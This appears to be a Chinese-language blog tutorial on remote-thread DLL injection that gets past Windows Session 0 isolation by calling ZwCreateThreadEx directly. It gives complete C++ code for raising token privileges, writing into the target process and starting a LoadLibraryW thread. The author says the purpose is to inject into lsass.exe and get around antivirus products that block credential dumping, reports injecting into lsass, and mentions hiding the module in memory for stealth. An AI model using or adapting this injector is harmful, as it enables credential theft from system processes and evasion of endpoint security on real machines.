远程线程注入dll,突破session 0

前言

之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入

其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可以通过注入lsass

看大佬的博客真的可以学到很多哈哈

编译环境

win10 vs2019

什么是session 0

在Windows XP，Windows Server 2003以及更早的版本中，第一个登录的用户以及Windows的所有服务都运行在Session 0上。
这样做危险的地方是，用户使用的应用程序可能会利用Windows的服务程序提升自己的权限。

后续版本的windows,普通应用程序已经不再session 0中运行

思路

由于SESSION 0隔离机制，导致传统远程线程注入系统服务进程失败。和传统的 CreateRemoteThread 函数实现的远线程注入 DLL 的唯一一个区别就是,我们调用的是更为底层的ZwCreateThreadEx来创建线程,

虽然CreateRemoteThread 函数到底层也是调用ZwCreateThreadEx,但在调用ZwCreateThreadEx时 ,ZwCreateThreadEx的第7个参数 CreateSuspended（CreateThreadFlags）的值始终为1,它会导致线程创建完成后一直挂起无法恢复运行,于是我们选择直接调用ZwCreateThreadEx,将第7个参数直接置为0,这样可达到注入目的

实现过程

先创建一个dll

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        MessageBox(NULL, L"远程线程注入成功！", L"提示", NULL);
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

这里有一个坑:如果要注入系统进程的话,创建的dll一定要是64位的,这与当前的操作系统有关,后面编译exe的时候也一定要是64位的,这个更当前exe多少位有关

这是我的操作系统版本

编写程序

提升当前进程的权限

 1 BOOL EnbalePrivileges(HANDLE hProcess, LPCWSTR pszPrivilegesName)
 2 {
 3     HANDLE hToken = NULL;
 4     LUID luidValue = { 0 };
 5     TOKEN_PRIVILEGES tokenPrivileges = { 0 };
 6     BOOL bRet = FALSE;
 7     DWORD dwRet = 0;
 8     // 打开进程令牌并获取进程令牌句柄
 9     bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
10     if (FALSE == bRet)
11     {
12         printf("OpenProcessToken");
13         return FALSE;
14     }
15     // 获取本地系统的 pszPrivilegesName 特权的LUID值
16     bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
17     if (FALSE == bRet)
18     {
19         printf("LookupPrivilegeValue");
20         return FALSE;
21     }
22     // 设置提升权限信息
23     tokenPrivileges.PrivilegeCount = 1;
24     tokenPrivileges.Privileges[0].Luid = luidValue;
25     tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
26     // 提升进程令牌访问权限
27     bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
28     if (FALSE == bRet)
29     {
30         printf("AdjustTokenPrivileges");
31         return FALSE;
32     }
33     else
34     {
35         // 根据错误码判断是否特权都设置成功
36         dwRet = ::GetLastError();
37         if (ERROR_SUCCESS == dwRet)
38         {
39             return TRUE;
40         }
41         else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
42         {
43             printf("ERROR_NOT_ALL_ASSIGNED");
44             return FALSE;
45         }
46     }
47     return FALSE;
48 }

这里参考了 https://www.write-bug.com/article/2012.html

这个师傅对函数中三个API都有介绍

ZwCreateThreadEx

ZwCreateThreadEx 在 ntdll.dll 中并没有声明，所以我们需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。

在64位和32位中,函数定义还不一样

64位中

 1 DWORD WINAPI ZwCreateThreadEx(
 2         PHANDLE ThreadHandle,
 3         ACCESS_MASK DesiredAccess,
 4         LPVOID ObjectAttributes,
 5         HANDLE ProcessHandle,
 6         LPTHREAD_START_ROUTINE lpStartAddress,
 7         LPVOID lpParameter,
 8         ULONG CreateThreadFlags,
 9         SIZE_T ZeroBits,
10         SIZE_T StackSize,
11         SIZE_T MaximumStackSize,
12         LPVOID pUnkown);

32位中

 1 DWORD WINAPI ZwCreateThreadEx(
 2         PHANDLE ThreadHandle,
 3         ACCESS_MASK DesiredAccess,
 4         LPVOID ObjectAttributes,
 5         HANDLE ProcessHandle,
 6         LPTHREAD_START_ROUTINE lpStartAddress,
 7         LPVOID lpParameter,
 8         BOOL CreateSuspended,
 9         DWORD dwStackSize,
10         DWORD dw1,
11         DWORD dw2,
12         LPVOID pUnkown);

大体思路更之前dll注入差不多,知识更改CreateRemoteThread 为ZwCreateThreadEx

核心代码

 1 DWORD _InjectSysThread(DWORD _Pid, LPCWSTR psDllFillName)
 2 {
 3     //打开进程
 4     HANDLE hprocess;
 5     HANDLE hThread;
 6     DWORD _SIZE = 0;
 7     LPVOID pAlloc = NULL;
 8     DWORD psDllAddr = 0;
 9     FARPROC pThreadFunction;
10     DWORD ZwRet = 0;
11     hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
12     //在注入进程中写入Loadlibrary名称
13     _SIZE = (_tcslen(psDllFillName) + 1) * sizeof(TCHAR);
14     pAlloc = ::VirtualAllocEx(hprocess, NULL, _SIZE, MEM_COMMIT, PAGE_READWRITE);
15     if (pAlloc == NULL)
16     {
17         printf("VirtualAllocExERROR");
18         return FALSE;
19     }
20     BOOL x = ::WriteProcessMemory(hprocess, pAlloc, psDllFillName, _SIZE, NULL);
21     if (FALSE == x)
22     {
23         printf("WriteProcessMemoryERROR");
24         return FALSE;
25     }
26
27     HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
28     if (hNtdll == NULL)
29     {
30         printf("LoadLibraryERROR");
31         return FALSE;
32     }
33
34     pThreadFunction = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
35
36 #ifdef _WIN64
37     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
38         PHANDLE ThreadHandle,
39         ACCESS_MASK DesiredAccess,
40         LPVOID ObjectAttributes,
41         HANDLE ProcessHandle,
42         LPTHREAD_START_ROUTINE lpStartAddress,
43         LPVOID lpParameter,
44         ULONG CreateThreadFlags,
45         SIZE_T ZeroBits,
46         SIZE_T StackSize,
47         SIZE_T MaximumStackSize,
48         LPVOID pUnkown
49         );
50 #else
51     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
52         PHANDLE ThreadHandle,
53         ACCESS_MASK DesiredAccess,
54         LPVOID ObjectAttributes,
55         HANDLE ProcessHandle,
56         LPTHREAD_START_ROUTINE lpStartAddress,
57         LPVOID lpParameter,
58         BOOL CreateSuspended,
59         DWORD dwStackSize,
60         DWORD dw1,
61         DWORD dw2,
62         LPVOID pUnkown
63         );
64 #endif
65     typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
66     ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
67
68     if (ZwCreateThreadEx == NULL)
69     {
70         printf("ZwCreateThreadExERROR");
71         return FALSE;
72     }
73     HANDLE hRemoteThread;
74     ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess,
75         (LPTHREAD_START_ROUTINE)pThreadFunction, pAlloc, 0, 0, 0, 0, NULL);
76
77     if (NULL == hRemoteThread)
78     {
79         printf("创建线程失败");
80         CloseHandle(hprocess);
81         return FALSE;
82     }
83     WaitForSingleObject(hRemoteThread, -1);
84     VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE);
85     CloseHandle(hRemoteThread);
86     CloseHandle(hprocess);
87     FreeLibrary(hNtdll);
88     return TRUE;
89 }

执行结果

这里我选择的是explorer.exe

注入lsass.exe ,只不过注入这类程序不会弹窗，但我们不需要弹窗嘛（滑稽）

记得使用Procexp的时候管理员运行，要不然系统进程模块看不到

但是像这种进程csrss.exe

遍历不出来,我看到网上有个师傅说这个进程好像需要更高的权限去访问,注入的话也需要其他操作,应该是牵扯到0环层面了,小弟对0 环内核层并不熟悉,就写到这里,基本目标还是达成了

其实还可以内存写入,隐藏模块，更加隐蔽

如果提权运行报错的话,记得以管理员身份运行就好了

参考

https://www.write-bug.com/article/2013.html

https://idiotc4t.com/code-and-dll-process-injection/bypass-session-0-injection